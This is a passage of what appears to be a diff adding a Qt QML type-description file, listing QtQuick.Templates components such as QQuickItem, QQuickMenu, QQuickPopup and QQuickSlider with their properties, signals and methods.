"QQuickHeaderViewBase" + defaultProperty: "flickableData" + prototype: "QQuickTableView" + Property { name: "textRole"; type: "string" } + } + Component { + name: "QQuickHorizontalHeaderView" + defaultProperty: "flickableData" + prototype: "QQuickHeaderViewBase" + exports: ["QtQuick.Templates/HorizontalHeaderView 2.15"] + exportMetaObjectRevisions: [0] + attachedType: "QQuickTableViewAttached" + } + Component { + name: "QQuickIcon" + Property { name: "name"; type: "string" } + Property { name: "source"; type: "QUrl" } + Property { name: "width"; type: "int" } + Property { name: "height"; type: "int" } + Property { name: "color"; type: "QColor" } + Property { name: "cache"; type: "bool" } + } + Component { + name: "QQuickImplicitSizeItem" + defaultProperty: "data" + prototype: "QQuickItem" + Property { name: "implicitWidth"; type: "double"; isReadonly: true } + Property { name: "implicitHeight"; type: "double"; isReadonly: true } + } + Component { + name: "QQuickItem" + defaultProperty: "data" + prototype: "QObject" + Enum { + name: "Flags" + values: { + "ItemClipsChildrenToShape": 1, + "ItemAcceptsInputMethod": 2, + "ItemIsFocusScope": 4, + "ItemHasContents": 8, + "ItemAcceptsDrops": 16 + } + } + Enum { + name: "TransformOrigin" + values: { + "TopLeft": 0, + "Top": 1, + "TopRight": 2, + "Left": 3, + "Center": 4, + "Right": 5, + "BottomLeft": 6, + "Bottom": 7, + "BottomRight": 8 + } + } + Property { name: "parent"; type: "QQuickItem"; isPointer: true } + Property { name: "data"; type: "QObject"; isList: true; isReadonly: true } + Property { name: "resources"; type: "QObject"; isList: true; isReadonly: true } + Property { name: "children"; type: "QQuickItem"; isList: true; isReadonly: true } + Property { name: "x"; type: "double" } + Property { name: "y"; type: "double" } + Property { name: "z"; type: "double" } + Property { name: "width"; type: "double" } + Property { name: "height"; type: "double" } + Property { name: "opacity"; type: "double" } + Property { name: "enabled"; type: "bool" } + Property { name: "visible"; type: "bool" } + Property { name: "visibleChildren"; type: "QQuickItem"; isList: true; isReadonly: true } + Property { name: "states"; type: "QQuickState"; isList: true; isReadonly: true } + Property { name: "transitions"; type: "QQuickTransition"; isList: true; isReadonly: true } + Property { name: "state"; type: "string" } + Property { name: "childrenRect"; type: "QRectF"; isReadonly: true } + Property { name: "anchors"; type: "QQuickAnchors"; isReadonly: true; isPointer: true } + Property { name: "left"; type: "QQuickAnchorLine"; isReadonly: true } + Property { name: "right"; type: "QQuickAnchorLine"; isReadonly: true } + Property { name: "horizontalCenter"; type: "QQuickAnchorLine"; isReadonly: true } + Property { name: "top"; type: "QQuickAnchorLine"; isReadonly: true } + Property { name: "bottom"; type: "QQuickAnchorLine"; isReadonly: true } + Property { name: "verticalCenter"; type: "QQuickAnchorLine"; isReadonly: true } + Property { name: "baseline"; type: "QQuickAnchorLine"; isReadonly: true } + Property { name: "baselineOffset"; type: "double" } + Property { name: "clip"; type: "bool" } + Property { name: "focus"; type: "bool" } + Property { name: "activeFocus"; type: "bool"; isReadonly: true } + Property { name: "activeFocusOnTab"; revision: 1; type: "bool" } + Property { name: "rotation"; type: "double" } + Property { name: "scale"; type: "double" } + Property { name: "transformOrigin"; type: "TransformOrigin" } + Property { name: "transformOriginPoint"; type: "QPointF"; isReadonly: true } + Property { name: "transform"; type: "QQuickTransform"; isList: true; isReadonly: true } + Property { name: "smooth"; type: "bool" } + Property { name: "antialiasing"; type: "bool" } + Property { name: "implicitWidth"; type: "double" } + Property { name: "implicitHeight"; type: "double" } + Property { name: "containmentMask"; revision: 11; type: "QObject"; isPointer: true } + Property { name: "layer"; type: "QQuickItemLayer"; isReadonly: true; isPointer: true } + Signal { + name: "childrenRectChanged" + Parameter { type: "QRectF" } + } + Signal { + name: "baselineOffsetChanged" + Parameter { type: "double" } + } + Signal { + name: "stateChanged" + Parameter { type: "string" } + } + Signal { + name: "focusChanged" + Parameter { type: "bool" } + } + Signal { + name: "activeFocusChanged" + Parameter { type: "bool" } + } + Signal { + name: "activeFocusOnTabChanged" + revision: 1 + Parameter { type: "bool" } + } + Signal { + name: "parentChanged" + Parameter { type: "QQuickItem"; isPointer: true } + } + Signal { + name: "transformOriginChanged" + Parameter { type: "TransformOrigin" } + } + Signal { + name: "smoothChanged" + Parameter { type: "bool" } + } + Signal { + name: "antialiasingChanged" + Parameter { type: "bool" } + } + Signal { + name: "clipChanged" + Parameter { type: "bool" } + } + Signal { + name: "windowChanged" + revision: 1 + Parameter { name: "window"; type: "QQuickWindow"; isPointer: true } + } + Signal { name: "containmentMaskChanged"; revision: 11 } + Method { name: "update" } + Method { + name: "grabToImage" + revision: 4 + type: "bool" + Parameter { name: "callback"; type: "QJSValue" } + Parameter { name: "targetSize"; type: "QSize" } + } + Method { + name: "grabToImage" + revision: 4 + type: "bool" + Parameter { name: "callback"; type: "QJSValue" } + } + Method { + name: "contains" + type: "bool" + Parameter { name: "point"; type: "QPointF" } + } + Method { + name: "mapFromItem" + Parameter { type: "QQmlV4Function"; isPointer: true } + } + Method { + name: "mapToItem" + Parameter { type: "QQmlV4Function"; isPointer: true } + } + Method { + name: "mapFromGlobal" + revision: 7 + Parameter { type: "QQmlV4Function"; isPointer: true } + } + Method { + name: "mapToGlobal" + revision: 7 + Parameter { type: "QQmlV4Function"; isPointer: true } + } + Method { name: "forceActiveFocus" } + Method { + name: "forceActiveFocus" + Parameter { name: "reason"; type: "Qt::FocusReason" } + } + Method { + name: "nextItemInFocusChain" + revision: 1 + type: "QQuickItem*" + Parameter { name: "forward"; type: "bool" } + } + Method { name: "nextItemInFocusChain"; revision: 1; type: "QQuickItem*" } + Method { + name: "childAt" + type: "QQuickItem*" + Parameter { name: "x"; type: "double" } + Parameter { name: "y"; type: "double" } + } + } + Component { + name: "QQuickItemDelegate" + defaultProperty: "data" + prototype: "QQuickAbstractButton" + exports: ["QtQuick.Templates/ItemDelegate 2.0"] + exportMetaObjectRevisions: [0] + Property { name: "highlighted"; type: "bool" } + } + Component { + name: "QQuickLabel" + defaultProperty: "data" + prototype: "QQuickText" + exports: [ + "QtQuick.Templates/Label 2.0", + "QtQuick.Templates/Label 2.3", + "QtQuick.Templates/Label 2.5" + ] + exportMetaObjectRevisions: [0, 3, 5] + Property { name: "font"; type: "QFont" } + Property { name: "background"; type: "QQuickItem"; isPointer: true } + Property { name: "palette"; revision: 3; type: "QPalette" } + Property { name: "implicitBackgroundWidth"; revision: 5; type: "double"; isReadonly: true } + Property { name: "implicitBackgroundHeight"; revision: 5; type: "double"; isReadonly: true } + Property { name: "topInset"; revision: 5; type: "double" } + Property { name: "leftInset"; revision: 5; type: "double" } + Property { name: "rightInset"; revision: 5; type: "double" } + Property { name: "bottomInset"; revision: 5; type: "double" } + Signal { name: "paletteChanged"; revision: 3 } + Signal { name: "implicitBackgroundWidthChanged"; revision: 5 } + Signal { name: "implicitBackgroundHeightChanged"; revision: 5 } + Signal { name: "topInsetChanged"; revision: 5 } + Signal { name: "leftInsetChanged"; revision: 5 } + Signal { name: "rightInsetChanged"; revision: 5 } + Signal { name: "bottomInsetChanged"; revision: 5 } + } + Component { + name: "QQuickMenu" + defaultProperty: "contentData" + prototype: "QQuickPopup" + exports: ["QtQuick.Templates/Menu 2.0", "QtQuick.Templates/Menu 2.3"] + exportMetaObjectRevisions: [0, 3] + Property { name: "contentModel"; type: "QVariant"; isReadonly: true } + Property { name: "contentData"; type: "QObject"; isList: true; isReadonly: true } + Property { name: "title"; type: "string" } + Property { name: "count"; revision: 3; type: "int"; isReadonly: true } + Property { name: "cascade"; revision: 3; type: "bool" } + Property { name: "overlap"; revision: 3; type: "double" } + Property { name: "delegate"; revision: 3; type: "QQmlComponent"; isPointer: true } + Property { name: "currentIndex"; revision: 3; type: "int" } + Signal { + name: "titleChanged" + Parameter { name: "title"; type: "string" } + } + Signal { name: "countChanged"; revision: 3 } + Signal { + name: "cascadeChanged" + revision: 3 + Parameter { name: "cascade"; type: "bool" } + } + Signal { name: "overlapChanged"; revision: 3 } + Signal { name: "delegateChanged"; revision: 3 } + Signal { name: "currentIndexChanged"; revision: 3 } + Method { + name: "itemAt" + type: "QQuickItem*" + Parameter { name: "index"; type: "int" } + } + Method { + name: "addItem" + Parameter { name: "item"; type: "QQuickItem"; isPointer: true } + } + Method { + name: "insertItem" + Parameter { name: "index"; type: "int" } + Parameter { name: "item"; type: "QQuickItem"; isPointer: true } + } + Method { + name: "moveItem" + Parameter { name: "from"; type: "int" } + Parameter { name: "to"; type: "int" } + } + Method { + name: "removeItem" + Parameter { name: "item"; type: "QVariant" } + } + Method { + name: "takeItem" + revision: 3 + type: "QQuickItem*" + Parameter { name: "index"; type: "int" } + } + Method { + name: "menuAt" + revision: 3 + type: "QQuickMenu*" + Parameter { name: "index"; type: "int" } + } + Method { + name: "addMenu" + revision: 3 + Parameter { name: "menu"; type: "QQuickMenu"; isPointer: true } + } + Method { + name: "insertMenu" + revision: 3 + Parameter { name: "index"; type: "int" } + Parameter { name: "menu"; type: "QQuickMenu"; isPointer: true } + } + Method { + name: "removeMenu" + revision: 3 + Parameter { name: "menu"; type: "QQuickMenu"; isPointer: true } + } + Method { + name: "takeMenu" + revision: 3 + type: "QQuickMenu*" + Parameter { name: "index"; type: "int" } + } + Method { + name: "actionAt" + revision: 3 + type: "QQuickAction*" + Parameter { name: "index"; type: "int" } + } + Method { + name: "addAction" + revision: 3 + Parameter { name: "action"; type: "QQuickAction"; isPointer: true } + } + Method { + name: "insertAction" + revision: 3 + Parameter { name: "index"; type: "int" } + Parameter { name: "action"; type: "QQuickAction"; isPointer: true } + } + Method { + name: "removeAction" + revision: 3 + Parameter { name: "action"; type: "QQuickAction"; isPointer: true } + } + Method { + name: "takeAction" + revision: 3 + type: "QQuickAction*" + Parameter { name: "index"; type: "int" } + } + Method { + name: "popup" + revision: 3 + Parameter { name: "args"; type: "QQmlV4Function"; isPointer: true } + } + Method { name: "dismiss"; revision: 3 } + } + Component { + name: "QQuickMenuBar" + defaultProperty: "contentData" + prototype: "QQuickContainer" + exports: ["QtQuick.Templates/MenuBar 2.3"] + exportMetaObjectRevisions: [0] + Property { name: "delegate"; type: "QQmlComponent"; isPointer: true } + Property { name: "contentWidth"; type: "double" } + Property { name: "contentHeight"; type: "double" } + Property { name: "menus"; type: "QQuickMenu"; isList: true; isReadonly: true } + Property { name: "contentData"; type: "QObject"; isList: true; isReadonly: true } + Method { + name: "menuAt" + type: "QQuickMenu*" + Parameter { name: "index"; type: "int" } + } + Method { + name: "addMenu" + Parameter { name: "menu"; type: "QQuickMenu"; isPointer: true } + } + Method { + name: "insertMenu" + Parameter { name: "index"; type: "int" } + Parameter { name: "menu"; type: "QQuickMenu"; isPointer: true } + } + Method { + name: "removeMenu" + Parameter { name: "menu"; type: "QQuickMenu"; isPointer: true } + } + Method { + name: "takeMenu" + type: "QQuickMenu*" + Parameter { name: "index"; type: "int" } + } + } + Component { + name: "QQuickMenuBarItem" + defaultProperty: "data" + prototype: "QQuickAbstractButton" + exports: ["QtQuick.Templates/MenuBarItem 2.3"] + exportMetaObjectRevisions: [0] + Property { name: "menuBar"; type: "QQuickMenuBar"; isReadonly: true; isPointer: true } + Property { name: "menu"; type: "QQuickMenu"; isPointer: true } + Property { name: "highlighted"; type: "bool" } + Signal { name: "triggered" } + } + Component { + name: "QQuickMenuItem" + defaultProperty: "data" + prototype: "QQuickAbstractButton" + exports: [ + "QtQuick.Templates/MenuItem 2.0", + "QtQuick.Templates/MenuItem 2.3" + ] + exportMetaObjectRevisions: [0, 3] + Property { name: "highlighted"; type: "bool" } + Property { name: "arrow"; revision: 3; type: "QQuickItem"; isPointer: true } + Property { name: "menu"; revision: 3; type: "QQuickMenu"; isReadonly: true; isPointer: true } + Property { name: "subMenu"; revision: 3; type: "QQuickMenu"; isReadonly: true; isPointer: true } + Signal { name: "triggered" } + Signal { name: "arrowChanged"; revision: 3 } + Signal { name: "menuChanged"; revision: 3 } + Signal { name: "subMenuChanged"; revision: 3 } + } + Component { + name: "QQuickMenuSeparator" + defaultProperty: "data" + prototype: "QQuickControl" + exports: ["QtQuick.Templates/MenuSeparator 2.1"] + exportMetaObjectRevisions: [0] + } + Component { + name: "QQuickOverlay" + defaultProperty: "data" + prototype: "QQuickItem" + exports: ["QtQuick.Templates/Overlay 2.3"] + isCreatable: false + exportMetaObjectRevisions: [0] + attachedType: "QQuickOverlayAttached" + Property { name: "modal"; type: "QQmlComponent"; isPointer: true } + Property { name: "modeless"; type: "QQmlComponent"; isPointer: true } + Signal { name: "pressed" } + Signal { name: "released" } + } + Component { + name: "QQuickOverlayAttached" + prototype: "QObject" + Property { name: "overlay"; type: "QQuickOverlay"; isReadonly: true; isPointer: true } + Property { name: "modal"; type: "QQmlComponent"; isPointer: true } + Property { name: "modeless"; type: "QQmlComponent"; isPointer: true } + Signal { name: "pressed" } + Signal { name: "released" } + } + Component { + name: "QQuickPage" + defaultProperty: "contentData" + prototype: "QQuickPane" + exports: [ + "QtQuick.Templates/Page 2.0", + "QtQuick.Templates/Page 2.1", + "QtQuick.Templates/Page 2.5" + ] + exportMetaObjectRevisions: [0, 1, 5] + Property { name: "title"; type: "string" } + Property { name: "header"; type: "QQuickItem"; isPointer: true } + Property { name: "footer"; type: "QQuickItem"; isPointer: true } + Property { name: "contentWidth"; revision: 1; type: "double" } + Property { name: "contentHeight"; revision: 1; type: "double" } + Property { name: "implicitHeaderWidth"; revision: 5; type: "double"; isReadonly: true } + Property { name: "implicitHeaderHeight"; revision: 5; type: "double"; isReadonly: true } + Property { name: "implicitFooterWidth"; revision: 5; type: "double"; isReadonly: true } + Property { name: "implicitFooterHeight"; revision: 5; type: "double"; isReadonly: true } + } + Component { + name: "QQuickPageIndicator" + defaultProperty: "data" + prototype: "QQuickControl" + exports: ["QtQuick.Templates/PageIndicator 2.0"] + exportMetaObjectRevisions: [0] + Property { name: "count"; type: "int" } + Property { name: "currentIndex"; type: "int" } + Property { name: "interactive"; type: "bool" } + Property { name: "delegate"; type: "QQmlComponent"; isPointer: true } + } + Component { + name: "QQuickPane" + defaultProperty: "contentData" + prototype: "QQuickControl" + exports: ["QtQuick.Templates/Pane 2.0"] + exportMetaObjectRevisions: [0] + Property { name: "contentWidth"; type: "double" } + Property { name: "contentHeight"; type: "double" } + Property { name: "contentData"; type: "QObject"; isList: true; isReadonly: true } + Property { name: "contentChildren"; type: "QQuickItem"; isList: true; isReadonly: true } + } + Component { + name: "QQuickPopup" + defaultProperty: "contentData" + prototype: "QObject" + exports: [ + "QtQuick.Templates/Popup 2.0", + "QtQuick.Templates/Popup 2.1", + "QtQuick.Templates/Popup 2.3", + "QtQuick.Templates/Popup 2.5" + ] + exportMetaObjectRevisions: [0, 1, 3, 5] + Enum { + name: "ClosePolicy" + values: { + "NoAutoClose": 0, + "CloseOnPressOutside": 1, + "CloseOnPressOutsideParent": 2, + "CloseOnReleaseOutside": 4, + "CloseOnReleaseOutsideParent": 8, + "CloseOnEscape": 16 + } + } + Enum { + name: "TransformOrigin" + values: { + "TopLeft": 0, + "Top": 1, + "TopRight": 2, + "Left": 3, + "Center": 4, + "Right": 5, + "BottomLeft": 6, + "Bottom": 7, + "BottomRight": 8 + } + } + Property { name: "x"; type: "double" } + Property { name: "y"; type: "double" } + Property { name: "z"; type: "double" } + Property { name: "width"; type: "double" } + Property { name: "height"; type: "double" } + Property { name: "implicitWidth"; type: "double" } + Property { name: "implicitHeight"; type: "double" } + Property { name: "contentWidth"; type: "double" } + Property { name: "contentHeight"; type: "double" } + Property { name: "availableWidth"; type: "double"; isReadonly: true } + Property { name: "availableHeight"; type: "double"; isReadonly: true } + Property { name: "margins"; type: "double" } + Property { name: "topMargin"; type: "double" } + Property { name: "leftMargin"; type: "double" } + Property { name: "rightMargin"; type: "double" } + Property { name: "bottomMargin"; type: "double" } + Property { name: "padding"; type: "double" } + Property { name: "topPadding"; type: "double" } + Property { name: "leftPadding"; type: "double" } + Property { name: "rightPadding"; type: "double" } + Property { name: "bottomPadding"; type: "double" } + Property { name: "locale"; type: "QLocale" } + Property { name: "font"; type: "QFont" } + Property { name: "parent"; type: "QQuickItem"; isPointer: true } + Property { name: "background"; type: "QQuickItem"; isPointer: true } + Property { name: "contentItem"; type: "QQuickItem"; isPointer: true } + Property { name: "contentData"; type: "QObject"; isList: true; isReadonly: true } + Property { name: "contentChildren"; type: "QQuickItem"; isList: true; isReadonly: true } + Property { name: "clip"; type: "bool" } + Property { name: "focus"; type: "bool" } + Property { name: "activeFocus"; type: "bool"; isReadonly: true } + Property { name: "modal"; type: "bool" } + Property { name: "dim"; type: "bool" } + Property { name: "visible"; type: "bool" } + Property { name: "opacity"; type: "double" } + Property { name: "scale"; type: "double" } + Property { name: "closePolicy"; type: "ClosePolicy" } + Property { name: "transformOrigin"; type: "TransformOrigin" } + Property { name: "enter"; type: "QQuickTransition"; isPointer: true } + Property { name: "exit"; type: "QQuickTransition"; isPointer: true } + Property { name: "spacing"; revision: 1; type: "double" } + Property { name: "opened"; revision: 3; type: "bool"; isReadonly: true } + Property { name: "mirrored"; revision: 3; type: "bool"; isReadonly: true } + Property { name: "enabled"; revision: 3; type: "bool" } + Property { name: "palette"; revision: 3; type: "QPalette" } + Property { name: "horizontalPadding"; type: "double" } + Property { name: "verticalPadding"; type: "double" } + Property { + name: "anchors" + revision: 5 + type: "QQuickPopupAnchors" + isReadonly: true + isPointer: true + } + Property { name: "implicitContentWidth"; revision: 5; type: "double"; isReadonly: true } + Property { name: "implicitContentHeight"; revision: 5; type: "double"; isReadonly: true } + Property { name: "implicitBackgroundWidth"; revision: 5; type: "double"; isReadonly: true } + Property { name: "implicitBackgroundHeight"; revision: 5; type: "double"; isReadonly: true } + Property { name: "topInset"; revision: 5; type: "double" } + Property { name: "leftInset"; revision: 5; type: "double" } + Property { name: "rightInset"; revision: 5; type: "double" } + Property { name: "bottomInset"; revision: 5; type: "double" } + Signal { name: "opened" } + Signal { name: "closed" } + Signal { name: "aboutToShow" } + Signal { name: "aboutToHide" } + Signal { + name: "windowChanged" + Parameter { name: "window"; type: "QQuickWindow"; isPointer: true } + } + Signal { name: "spacingChanged"; revision: 1 } + Signal { name: "openedChanged"; revision: 3 } + Signal { name: "mirroredChanged"; revision: 3 } + Signal { name: "enabledChanged"; revision: 3 } + Signal { name: "paletteChanged"; revision: 3 } + Signal { name: "horizontalPaddingChanged"; revision: 5 } + Signal { name: "verticalPaddingChanged"; revision: 5 } + Signal { name: "implicitContentWidthChanged"; revision: 5 } + Signal { name: "implicitContentHeightChanged"; revision: 5 } + Signal { name: "implicitBackgroundWidthChanged"; revision: 5 } + Signal { name: "implicitBackgroundHeightChanged"; revision: 5 } + Signal { name: "topInsetChanged"; revision: 5 } + Signal { name: "leftInsetChanged"; revision: 5 } + Signal { name: "rightInsetChanged"; revision: 5 } + Signal { name: "bottomInsetChanged"; revision: 5 } + Method { name: "open" } + Method { name: "close" } + Method { + name: "forceActiveFocus" + Parameter { name: "reason"; type: "Qt::FocusReason" } + } + Method { name: "forceActiveFocus" } + } + Component { + name: "QQuickPopupAnchors" + prototype: "QObject" + Property { name: "centerIn"; type: "QQuickItem"; isPointer: true } + } + Component { + name: "QQuickProgressBar" + defaultProperty: "data" + prototype: "QQuickControl" + exports: ["QtQuick.Templates/ProgressBar 2.0"] + exportMetaObjectRevisions: [0] + Property { name: "from"; type: "double" } + Property { name: "to"; type: "double" } + Property { name: "value"; type: "double" } + Property { name: "position"; type: "double"; isReadonly: true } + Property { name: "visualPosition"; type: "double"; isReadonly: true } + Property { name: "indeterminate"; type: "bool" } + } + Component { + name: "QQuickRadioButton" + defaultProperty: "data" + prototype: "QQuickAbstractButton" + exports: ["QtQuick.Templates/RadioButton 2.0"] + exportMetaObjectRevisions: [0] + } + Component { + name: "QQuickRadioDelegate" + defaultProperty: "data" + prototype: "QQuickItemDelegate" + exports: ["QtQuick.Templates/RadioDelegate 2.0"] + exportMetaObjectRevisions: [0] + } + Component { + name: "QQuickRangeSlider" + defaultProperty: "data" + prototype: "QQuickControl" + exports: [ + "QtQuick.Templates/RangeSlider 2.0", + "QtQuick.Templates/RangeSlider 2.1", + "QtQuick.Templates/RangeSlider 2.2", + "QtQuick.Templates/RangeSlider 2.3", + "QtQuick.Templates/RangeSlider 2.5" + ] + exportMetaObjectRevisions: [0, 1, 2, 3, 5] + Enum { + name: "SnapMode" + values: { + "NoSnap": 0, + "SnapAlways": 1, + "SnapOnRelease": 2 + } + } + Property { name: "from"; type: "double" } + Property { name: "to"; type: "double" } + Property { name: "first"; type: "QQuickRangeSliderNode"; isReadonly: true; isPointer: true } + Property { name: "second"; type: "QQuickRangeSliderNode"; isReadonly: true; isPointer: true } + Property { name: "stepSize"; type: "double" } + Property { name: "snapMode"; type: "SnapMode" } + Property { name: "orientation"; type: "Qt::Orientation" } + Property { name: "live"; revision: 2; type: "bool" } + Property { name: "horizontal"; revision: 3; type: "bool"; isReadonly: true } + Property { name: "vertical"; revision: 3; type: "bool"; isReadonly: true } + Property { name: "touchDragThreshold"; revision: 5; type: "double" } + Signal { name: "liveChanged"; revision: 2 } + Signal { name: "touchDragThresholdChanged"; revision: 5 } + Method { + name: "setValues" + Parameter { name: "firstValue"; type: "double" } + Parameter { name: "secondValue"; type: "double" } + } + Method { + name: "valueAt" + revision: 5 + type: "double" + Parameter { name: "position"; type: "double" } + } + } + Component { + name: "QQuickRangeSliderNode" + prototype: "QObject" + Property { name: "value"; type: "double" } + Property { name: "position"; type: "double"; isReadonly: true } + Property { name: "visualPosition"; type: "double"; isReadonly: true } + Property { name: "handle"; type: "QQuickItem"; isPointer: true } + Property { name: "pressed"; type: "bool" } + Property { name: "hovered"; revision: 1; type: "bool" } + Property { name: "implicitHandleWidth"; revision: 5; type: "double"; isReadonly: true } + Property { name: "implicitHandleHeight"; revision: 5; type: "double"; isReadonly: true } + Signal { name: "hoveredChanged"; revision: 1 } + Signal { name: "moved" } + Method { name: "increase" } + Method { name: "decrease" } + } + Component { + name: "QQuickRoundButton" + defaultProperty: "data" + prototype: "QQuickButton" + exports: ["QtQuick.Templates/RoundButton 2.1"] + exportMetaObjectRevisions: [0] + Property { name: "radius"; type: "double" } + } + Component { + name: "QQuickScrollBar" + defaultProperty: "data" + prototype: "QQuickControl" + exports: [ + "QtQuick.Templates/ScrollBar 2.0", + "QtQuick.Templates/ScrollBar 2.2", + "QtQuick.Templates/ScrollBar 2.3", + "QtQuick.Templates/ScrollBar 2.4" + ] + exportMetaObjectRevisions: [0, 2, 3, 4] + attachedType: "QQuickScrollBarAttached" + Enum { + name: "SnapMode" + values: { + "NoSnap": 0, + "SnapAlways": 1, + "SnapOnRelease": 2 + } + } + Enum { + name: "Policy" + values: { + "AsNeeded": 0, + "AlwaysOff": 1, + "AlwaysOn": 2 + } + } + Property { name: "size"; type: "double" } + Property { name: "position"; type: "double" } + Property { name: "stepSize"; type: "double" } + Property { name: "active"; type: "bool" } + Property { name: "pressed"; type: "bool" } + Property { name: "orientation"; type: "Qt::Orientation" } + Property { name: "snapMode"; revision: 2; type: "SnapMode" } + Property { name: "interactive"; revision: 2; type: "bool" } + Property { name: "policy"; revision: 2; type: "Policy" } + Property { name: "horizontal"; revision: 3; type: "bool"; isReadonly: true } + Property { name: "vertical"; revision: 3; type: "bool"; isReadonly: true } + Property { name: "minimumSize"; revision: 4; type: "double" } + Property { name: "visualSize"; revision: 4; type: "double"; isReadonly: true } + Property { name: "visualPosition"; revision: 4; type: "double"; isReadonly: true } + Signal { name: "snapModeChanged"; revision: 2 } + Signal { name: "interactiveChanged"; revision: 2 } + Signal { name: "policyChanged"; revision: 2 } + Signal { name: "minimumSizeChanged"; revision: 4 } + Signal { name: "visualSizeChanged"; revision: 4 } + Signal { name: "visualPositionChanged"; revision: 4 } + Method { name: "increase" } + Method { name: "decrease" } + Method { + name: "setSize" + Parameter { name: "size"; type: "double" } + } + Method { + name: "setPosition" + Parameter { name: "position"; type: "double" } + } + } + Component { + name: "QQuickScrollBarAttached" + prototype: "QObject" + Property { name: "horizontal"; type: "QQuickScrollBar"; isPointer: true } + Property { name: "vertical"; type: "QQuickScrollBar"; isPointer: true } + } + Component { + name: "QQuickScrollIndicator" + defaultProperty: "data" + prototype: "QQuickControl" + exports: [ + "QtQuick.Templates/ScrollIndicator 2.0", + "QtQuick.Templates/ScrollIndicator 2.3", + "QtQuick.Templates/ScrollIndicator 2.4" + ] + exportMetaObjectRevisions: [0, 3, 4] + attachedType: "QQuickScrollIndicatorAttached" + Property { name: "size"; type: "double" } + Property { name: "position"; type: "double" } + Property { name: "active"; type: "bool" } + Property { name: "orientation"; type: "Qt::Orientation" } + Property { name: "horizontal"; revision: 3; type: "bool"; isReadonly: true } + Property { name: "vertical"; revision: 3; type: "bool"; isReadonly: true } + Property { name: "minimumSize"; revision: 4; type: "double" } + Property { name: "visualSize"; revision: 4; type: "double"; isReadonly: true } + Property { name: "visualPosition"; revision: 4; type: "double"; isReadonly: true } + Signal { name: "minimumSizeChanged"; revision: 4 } + Signal { name: "visualSizeChanged"; revision: 4 } + Signal { name: "visualPositionChanged"; revision: 4 } + Method { + name: "setSize" + Parameter { name: "size"; type: "double" } + } + Method { + name: "setPosition" + Parameter { name: "position"; type: "double" } + } + } + Component { + name: "QQuickScrollIndicatorAttached" + prototype: "QObject" + Property { name: "horizontal"; type: "QQuickScrollIndicator"; isPointer: true } + Property { name: "vertical"; type: "QQuickScrollIndicator"; isPointer: true } + } + Component { + name: "QQuickScrollView" + defaultProperty: "contentData" + prototype: "QQuickPane" + exports: ["QtQuick.Templates/ScrollView 2.2"] + exportMetaObjectRevisions: [0] + } + Component { + name: "QQuickSlider" + defaultProperty: "data" + prototype: "QQuickControl" + exports: [ + "QtQuick.Templates/Slider 2.0", + "QtQuick.Templates/Slider 2.1", + "QtQuick.Templates/Slider 2.2", + "QtQuick.Templates/Slider 2.3", + "QtQuick.Templates/Slider 2.5" + ] + exportMetaObjectRevisions: [0, 1, 2, 3, 5] + Enum { + name: "SnapMode" + values: { + "NoSnap": 0, + "SnapAlways": 1, + "SnapOnRelease": 2 + } + } + Property { name: "from"; type: "double" } + Property { name: "to"; type: "double" } + Property { name: "value"; type: "double" } + Property { name: "position"; type: "double"; isReadonly: true } + Property { name: "visualPosition"; type: "double"; isReadonly: true } + Property { name: "stepSize"; type: "double" } + Property { name: "snapMode"; type: "SnapMode" } + Property { name: "pressed"; type: "bool" } + Property { name: "orientation"; type: "Qt::Orientation" } + Property { name: "handle"; type: "QQuickItem"; isPointer: true } + Property { name: "live"; revision: 2; type: "bool" } + Property { name: "horizontal"; revision: 3; type: "bool"; isReadonly: true } + Property { name: "vertical"; revision: 3; type: "bool"; isReadonly: true } + Property { name: "touchDragThreshold"; revision: 5; type: "double" } + Property { name: "implicitHandleWidth"; revision: 5; type: "double"; isReadonly: true } + Property { name: "implicitHandleHeight"; revision: 5; type: "double"; isReadonly: true } + Signal { name: "moved"; revision: 2 } + Signal { name: "liveChanged"; revision: 2 } + Signal { name: "touchDragThresholdChanged"; revision: 5 } + Signal { name: "implicitHandleWidthChanged"; revision: 5 } + Signal { name: "implicitHandleHeightChanged"; revision: 5 } + Method { name: "increase" } + Method { name: "decrease" } + Method { + name: "valueAt" + revision: 1 + type: "double" + Parameter { name: "position"; type: "double" } + } + } + Component { + name: "QQuickSpinBox" + defaultProperty: "data" + prototype: "QQuickControl" + exports: [ + "QtQuick.Templates/SpinBox 2.0", + "QtQuick.Templates/SpinBox 2.1", + "QtQuick.Templates/SpinBox 2.2", + "QtQuick.Templates/SpinBox 2.3", + "QtQuick.Templates/SpinBox 2.4", + "QtQuick.Templates/SpinBox 2.5" + ] + exportMetaObjectRevisions: [0, 1, 2, 3, 4, 5] + Property { name: "from"; type: "int" } + Property { name: "to"; type: "int" } + Property { name: "value"; type: "int" } + Property { name: "stepSize"; type: "int" } + Property { name: "editable"; type: "bool" } + Property { name: "validator"; type: "QValidator"; isPointer: true } + Property { name: "textFromValue"; type: "QJSValue" } + Property { name: "valueFromText"; type: "QJSValue" } + Property { name: "up"; type: "QQuickSpinButton"; isReadonly: true; isPointer: true } + Property { name: "down"; type: "QQuickSpinButton"; isReadonly: true; isPointer: true } + Property { name: "inputMethodHints"; revision: 2; type: "Qt::InputMethodHints" } + Property { name: "inputMethodComposing"; revision: 2; type: "bool"; isReadonly: true } + Property { name: "wrap"; revision: 3; type: "bool" } + Property { name: "displayText"; revision: 4; type: "string"; isReadonly: true } + Signal { name: "valueModified"; revision: 2 } + Signal { name: "inputMethodHintsChanged"; revision: 2 } + Signal { name: "inputMethodComposingChanged"; revision: 2 } + Signal { name: "wrapChanged"; revision: 3 } + Signal { name: "displayTextChanged"; revision: 4 } + Method { name: "increase" } + Method { name: "decrease" } + } + Component { + name: "QQuickSpinButton" + prototype: "QObject" + Property { name: "pressed"; type: "bool" } + Property { name: "indicator"; type: "QQuickItem"; isPointer: true } + Property { name: "hovered"; revision: 1; type: "bool" } + Property { name: "implicitIndicatorWidth"; revision: 5; type: "double"; isReadonly: true } + Property { name: "implicitIndicatorHeight"; revision: 5; type: "double"; isReadonly: true } + Signal { name: "hoveredChanged"; revision: 1 } + Signal { name: "implicitIndicatorWidthChanged"; revision: 5 } + Signal { name: "implicitIndicatorHeightChanged"; revision: 5 } + } + Component { + name: "QQuickSplitHandleAttached" + prototype: "QObject" + exports: ["QtQuick.Templates/SplitHandle 2.13"] + isCreatable: false + exportMetaObjectRevisions: [0] + Property { name: "hovered"; type: "bool"; isReadonly: true } + Property { name: "pressed"; type: "bool"; isReadonly: true } + } + Component { + name: "QQuickSplitView" + defaultProperty: "contentData" + prototype: "QQuickContainer" + exports: ["QtQuick.Templates/SplitView 2.13"] + exportMetaObjectRevisions: [0] + attachedType: "QQuickSplitViewAttached" + Property { name: "orientation"; type: "Qt::Orientation" } + Property { 